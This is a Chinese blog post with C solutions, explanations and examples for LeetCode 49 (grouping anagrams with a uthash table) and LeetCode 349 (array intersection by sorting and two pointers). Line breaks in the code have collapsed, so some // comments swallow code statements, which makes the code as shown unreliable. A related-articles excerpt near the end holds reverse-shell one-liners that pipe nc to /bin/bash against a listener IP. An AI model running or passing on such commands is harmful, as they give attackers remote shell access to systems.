4.21算法

目录

leetcode49:字母异位词分组

题目

示例

解题思路

代码实现

leetcode349:两个数组的交集

题目

示例

解题思路

代码实现 


leetcode49:字母异位词分组

题目

给你一个字符串数组,请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。

字母异位词 是由重新排列源单词的所有字母得到的一个新单词。

示例

示例 1:

输入: strs = ["eat", "tea", "tan", "ate", "nat", "bat"]
输出: [["bat"],["nat","tan"],["ate","eat","tea"]]

示例 2:

输入: strs = [""]
输出: [[""]]

示例 3:

输入: strs = ["a"]
输出: [["a"]]

提示:

  • 1 <= strs.length <= 104
  • 0 <= strs[i].length <= 100
  • strs[i] 仅包含小写字母

解题思路

1、对字符串数组中的每个单词按照有a-z的顺序排序
2、以单词为key加入哈希
     每创建一个新的节点,就在该节点中记录返回时的下标位置同(*returnSize)结合
     发现相同key时,记录本key出现次数 == 节点内记录单词下标,该下标同原字符串数组下标结合
3、遍历哈希 将每个节点中的单词->出现的次数(对应的下标)分组取出

代码实现

typedef struct hashtable
{char key[102];  int index[100]; int count;        int xb;        UT_hash_handle hh;
}Node;int cmp(const void* a_, const void* b_)
{char a=*(char*)a_;char b=*(char*)b_; return a-b;
}
char*** groupAnagrams(char** strs, int strsSize, int* returnSize, int** returnColumnSizes) {if(strsSize == 0) {*returnSize = 0;return NULL;}Node* arr = NULL;*returnSize = 0;    for (int i = 0; i < strsSize; i++){char* temstrs = (char *)malloc(sizeof(char)*(strlen(strs[i])+1));strcpy(temstrs, strs[i]);   qsort(temstrs, strlen(temstrs), sizeof(char), cmp); Node* tm = NULL;    HASH_FIND_STR(arr, temstrs, tm);   if (tm == NULL)       //新结点    {tm = (Node*)malloc(sizeof(Node));strcpy(tm->key, temstrs);tm->count = 0;    //首次出现记0tm->xb = (*returnSize)++;  //记录返回下标,并更新*returnSizetm->index[(tm->count)++] = i; //记录出现在该key中的单词对应的 strs中的下标HASH_ADD_STR(arr, key, tm);    //加入链表}elsetm->index[(tm->count)++] = i; //重复出现只更新出现次数 和 记录单词在strs中的下标}char*** res = (char***)malloc(sizeof(char**) * (*returnSize));  *returnColumnSizes = (int*)malloc(sizeof(int) * (*returnSize)); //该数组记录每行出现单词的个数Node* tm;   //临时节点指向s->nextNode* s;    //起始指向头节点HASH_ITER(hh, arr, s, tm) {res[s->xb] = (char**)malloc(sizeof(char*) * (s->count));     //为每一行字符串指针分配空间for (int j = 0; j < s->count; j++){res[s->xb][j] = strs[s->index[j]];}(*returnColumnSizes)[s->xb] = s->count;  //每行的单词数量就是该节点出现的次数HASH_DEL(arr,s);free(s);}return res;
}

leetcode349:两个数组的交集

题目

给定两个数组 nums1 和 nums2 ,返回 它们的 交集

 输出结果中的每个元素一定是 唯一 的。我们可以 不考虑输出结果的顺序 。

示例

示例 1:

输入:nums1 = [1,2,2,1], nums2 = [2,2]
输出:[2]

示例 2:

输入:nums1 = [4,9,5], nums2 = [9,4,9,8,4]
输出:[9,4]
解释:[4,9] 也是可通过的

提示:

  • 1 <= nums1.length, nums2.length <= 1000
  • 0 <= nums1[i], nums2[i] <= 1000

解题思路

排序+双指针法

首先对两个数组进行排序,然后使用两个指针遍历两个数组。

初始时,两个指针分别指向两个数组的头部。每次比较两个指针指向的两个数组中的数字,如果两个数字不相等,则将指向较小数字的指针右移一位,如果两个数字相等,且该数字不等于 pre,将该数字添加到答案并更新 pre 变量,同时将两个指针都右移一位。当至少有一个指针超出数组范围时,遍历结束。

代码实现 

/*** Note: The returned array must be malloced, assume caller calls free().*/int cmp(void* a, void* b) {return *(int*)a - *(int*)b;
}int* intersection(int* nums1, int nums1Size, int* nums2, int nums2Size, int* returnSize) {qsort(nums1, nums1Size, sizeof(int), cmp);qsort(nums2, nums2Size, sizeof(int), cmp);*returnSize = 0;int index1 = 0, index2 = 0;int* intersection = malloc(sizeof(int) * (nums1Size + nums2Size));while (index1 < nums1Size && index2 < nums2Size) {int num1 = nums1[index1], num2 = nums2[index2];if (num1 == num2) {if (!(*returnSize) || num1 != intersection[(*returnSize) - 1]) {intersection[(*returnSize)++] = num1;}index1++;index2++;} else if (num1 < num2) {index1++;} else {index2++;}}return intersection;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826800.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在ubuntu20.04下迁移anaconda的目录,试验不行后,换成软连接

一、原因 随着不断的搭建不同的算法环境&#xff0c;原本在固态硬盘上安装的anaconda上占用空间越来越多。导致可用的固态硬盘空间越来越少&#xff0c;又因安装的环境太多&#xff0c;重新搭建比较费时费力。有没有直接将当前已经搭建好环境的anaconda 迁移到另外的目录呢&…

SAP 销售业务中免费货物的会计核算

此博文主要介绍SAP销售业务中免费货物解决方案中&#xff0c;免费货物的会计核算。如果需要进一步了解SAP SD 销售与分销业务中&#xff0c;免费货物的标准解决方案概览&#xff0c;可先了解本博客博文&#xff1a;SAP销售与分销中的免费货物解决方案相关文章&#xff1a; htt…

Python 全栈安全(一)

原文&#xff1a;annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 多年前&#xff0c;我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Pyt…

5、分代模型中的年轻代、老年代和永久代

5.1、背景引入 从今天开始,我们将重点关注JVM内存划分的一些细节。这将帮助大家更深入地理解JVM内存划分的原理,以及我们在代码中创建的对象是如何在JVM中分配和流动的。这对于大家深入理解JVM原理将大有裨益。 首先,让我们介绍一下JVM内存的一个分代模型:年轻代、老年代…

开发语言漫谈-SQL

SQL是另一个门类的开发语言&#xff0c;是专用于结构化数据库操作的专用语言。SQL不可能单独开发系统&#xff0c;但是做数据库方面的系统不懂SQL也不行。市面上很大部分开发岗位&#xff08;后台&#xff09;都是要和数据库打交道的&#xff0c;所以SQL必须掌握。 好消息是&am…

【设计模式】单例模式|最常用的设计模式

写在前面 单例模式是最常用的设计模式之一&#xff0c;虽然简单&#xff0c;但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。 单例模式介绍 简介 单例模式保证一个类仅有一个实例&#xff0c;并提供一个访问它的全局访问点。 使用场景&#…

DC学习笔记

视频 数字逻辑综合工具实践 DC 01_哔哩哔哩_bilibili 一、DC工作模式&#xff08;此小节为搬运内容&#xff09; 原链接&#xff1a;Design_Compiler User Guide 随手笔记&#xff08;9&#xff09;Using Floorplan Information - 知乎 DC拥有四种工作模式&#xff1a; 工…

项目7-音乐播放器6+评论区

1.准备前端界面 前端小白&#xff1a;怎么为你的网页增加评论功能&#xff1f;&#xff08;一&#xff09;_为网页添加评论区怎么弄-CSDN博客 参考的上述文章的前端代码 我们从上述前端图片知道&#xff0c;我们数据库需要准备的字段&#xff1a; id,commentuserName,coomen…

深入理解Java中的ConcurrentHashMap:原理与实践

文章目录 1. ConcurrentHashMap简介2. 分段锁原理3. CAS操作原理4. 扩容机制原理5. 近似计数原理6. 并发操作方法7. 遍历ConcurrentHashMap8. 扩展方法介绍9. 并发性能分析10. 局限性与适用场景11. 总结 本文详细解析了Java中线程安全的HashMap实现——ConcurrentHashMap的工作…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一&#xff0c;与HTML和CSS一同工作&#xff0c;用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性&#xff0c;可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…

Redis中的慢查询日志(一)

慢查询日志 概述 Redis的慢查询日志功能用于记录执行时间超过给定时长的命令请求&#xff0c;用户可以通过这个功能产生的日志来 监视和优化查询速度。服务器配置有两个和慢查询日志相关的选项: 1.slowlog-log-slower-than选项指定执行时间超过多少微妙(1秒1000 000微妙)的命…

Sulley入门教学——简介、安装(Win7、VMware)

1、简介 Sulley 是由 Pedram Amini 和 Aaron Portnoy 开发的开源工具。它以 Python 编写&#xff0c;可以轻松地在不同平台上部署和使用。Sulley 提供了一个灵活且功能强大的框架&#xff0c;允许用户定义协议消息的结构、字段类型、边界条件和模糊测试策略。用户可以使用 Sul…

【Redis】List 数据类型

文章目录 常用命令lpush & lpushxrpush & rpushxlrange & lpop & rpoplindex & linsertllen 阻塞版本的命令内部编码 列表类型是⽤来存储多个有序的字符串&#xff0c;⼀个列表最多可以存储 2^32 - 1 个元素&#xff0c;允许有重复的元素。 列表在两端都可…

MongoDB与MySQL的区别???MongoDB的优势???

MongoDB是一种开源的文档型数据库管理系统&#xff0c;它使用类似于JSON的BSON格式&#xff08;Binary JSON&#xff09;来存储数据。与传统关系型数据库不同&#xff0c;MongoDB不使用表和行的结构&#xff0c;而是采用集合&#xff08;Collection&#xff09;(Mysql表)和文档…

Qt基础之四十六:Qt界面中嵌入第三方程序的一点心得

本文主要讲解QWidget和QWindow的区别,以及如何在QWidget中嵌入第三方程序,并完美解决在QWidget中嵌入某些程序(比如Qt程序)时出现的白边问题。 下面是嵌入QQ音乐的样子,这首歌还不错。 先用spy++查看QQ音乐的窗口信息,如果安装了Visual Studio,工具菜单里自带spy++ 然后…

总分420+专业140+哈工大哈尔滨工业大学803信号与系统和数字逻辑电路考研电子信息与通信工程,真题,大纲,参考书。

考研复习一路走来&#xff0c;成绩还是令人满意&#xff0c;专业803信号和数电140&#xff0c;总分420&#xff0c;顺利上岸&#xff0c;总结一下自己这一年复习经历&#xff0c;希望大家可以所有参考&#xff0c;这一年复习跌跌拌拌&#xff0c;有时面对压力也会焦虑&#xff…

Mac电池管理软件 Batteries for Mac v2.2.9直装版

Batteries for Mac&#xff0c;作为一款专为Mac用户设计的电池管理软件&#xff0c;以其强大的功能和智能的监测机制&#xff0c;为用户提供了便捷、高效的电池使用体验。 Batteries for Mac(Mac电池)v2.2.9直装版下载 首先&#xff0c;Batteries for Mac具备实时电池监测功能&…

【动态规划 状态机dp 性能优化】3098. 求出所有子序列的能量和

本文涉及知识点 动态规划 状态机dp 性能优化 LeetCode3098. 求出所有子序列的能量和 给你一个长度为 n 的整数数组 nums 和一个 正 整数 k 。 一个子序列的 能量 定义为子序列中 任意 两个元素的差值绝对值的 最小值 。 请你返回 nums 中长度 等于 k 的 所有 子序列的 能量和…